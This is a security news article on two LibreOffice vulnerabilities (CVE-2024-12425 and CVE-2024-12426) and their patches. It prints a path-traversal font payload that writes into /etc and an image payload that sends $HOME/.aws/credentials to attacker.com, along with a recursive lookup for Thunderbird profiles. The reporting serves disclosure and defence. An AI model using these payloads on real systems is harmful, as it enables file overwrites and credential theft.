Thursday, February 20, 2025
HomeCVE/vulnerabilityLibreOffice Vulnerabilities Allow Attackers to Write to Files and Extract Data

LibreOffice Vulnerabilities Allow Attackers to Write to Files and Extract Data

Published on

SIEM as a Service

Follow Us on Google News

Two critical vulnerabilities in LibreOffice (CVE-2024-12425 and CVE-2024-12426) expose millions of users to file system manipulation and sensitive data extraction attacks.

These flaws affect both desktop users opening malicious documents and server-side systems using LibreOffice for headless document processing.

CVE-2024-12425: Path Traversal Enables Arbitrary File Writes

The first vulnerability stems from improper path sanitization when handling embedded fonts in OpenDocument XML files.

Attackers can craft documents containing malicious font declarations that escape LibreOffice’s temporary directory through path traversal sequences, as CodeanLabs reports.

The critical code flaw resides in EmbeddedFontsHelper::fileUrlForTemporaryFont, where user-controlled fontName values aren’t sanitized before constructing file paths:

OUString EmbeddedFontsHelper::fileUrlForTemporaryFont(const OUString& fontName) {

// ...
    path += "/user/temp/embeddedfonts/fromdocs/";
    return path + filename; // FontName contains unsanitized input
}

An attacker could exploit this by embedding a font declaration containing directory traversal sequences:

<style:font-face svg:font-family="../../../../../../../etc/passwd">
  <office:binaryData>SGVsbG8gd29ybGQ...</office:binaryData>
</style:font-face>

This writes the decoded binary data to /etc/passwd0.ttf despite the .ttf extension limitation. 

Server-side installations are particularly vulnerable as attackers could overwrite web application files or configuration scripts.

CVE-2024-12426: Variable Expansion Enables Data Exfiltration

The second vulnerability involves LibreOffice’s handling of the vnd.sun.star.expand URI scheme, which supports environment variable substitution and INI file parsing. Attackers can craft documents that leak sensitive information through manipulated URLs:

<img src="vnd.sun.star.expand:http://attacker.com?leak=$HOME/.aws/credentials">

The expansion mechanism supports recursive lookups, enabling complex data extraction chains:

<img src="vnd.sun.star.expand:${file://$HOME/.thunderbird/profiles.ini:Profile0:Path}/...">

This allows reading Thunderbird profiles, SQLite databases, and application secrets stored in environment variables. In one demonstrated attack, hackers could intercept WordPress password reset tokens from email clients by combining multiple expansion steps.

LibreOffice released patches addressing these vulnerabilities in versions:

  • 7.5.9 (Community)
  • 7.6.5 (Community)
  • 24.2.2 (Enterprise)

These vulnerabilities highlight the risks of complex document processing ecosystems, particularly when combining user-controlled content with legacy file format support.

Enterprises must maintain rigorous patch management cycles for office software components, even in server environments.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try for Free

Divya
Divya
Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Latest articles

Check Point Software to Open First Asia-Pacific R&D Centre in Bengaluru, India

Check Point Software Technologies Ltd. has announced plans to establish its inaugural Asia-Pacific Research...

PoC Exploit Released for Ivanti EPM Vulnerabilities

A recent investigation into Ivanti Endpoint Manager (EPM) has uncovered four critical vulnerabilities that...

Ransomware Trends 2025 – What’s new

As of February 2025, ransomware remains a formidable cyber threat, evolving in complexity and...

Hackers Delivering Malware Bundled with Fake Job Interview Challenges

ESET researchers have uncovered a series of malicious activities orchestrated by a North Korea-aligned...

Supply Chain Attack Prevention

Free Webinar - Supply Chain Attack Prevention

Recent attacks like Polyfill[.]io show how compromised third-party components become backdoors for hackers. PCI DSS 4.0’s Requirement 6.4.3 mandates stricter browser script controls, while Requirement 12.8 focuses on securing third-party providers.

Join Vivekanand Gopalan (VP of Products – Indusface) and Phani Deepak Akella (VP of Marketing – Indusface) as they break down these compliance requirements and share strategies to protect your applications from supply chain attacks.

Discussion points

Meeting PCI DSS 4.0 mandates.
Blocking malicious components and unauthorized JavaScript execution.
PIdentifying attack surfaces from third-party dependencies.
Preventing man-in-the-browser attacks with proactive monitoring.

More like this

Check Point Software to Open First Asia-Pacific R&D Centre in Bengaluru, India

Check Point Software Technologies Ltd. has announced plans to establish its inaugural Asia-Pacific Research...

PoC Exploit Released for Ivanti EPM Vulnerabilities

A recent investigation into Ivanti Endpoint Manager (EPM) has uncovered four critical vulnerabilities that...

Ransomware Trends 2025 – What’s new

As of February 2025, ransomware remains a formidable cyber threat, evolving in complexity and...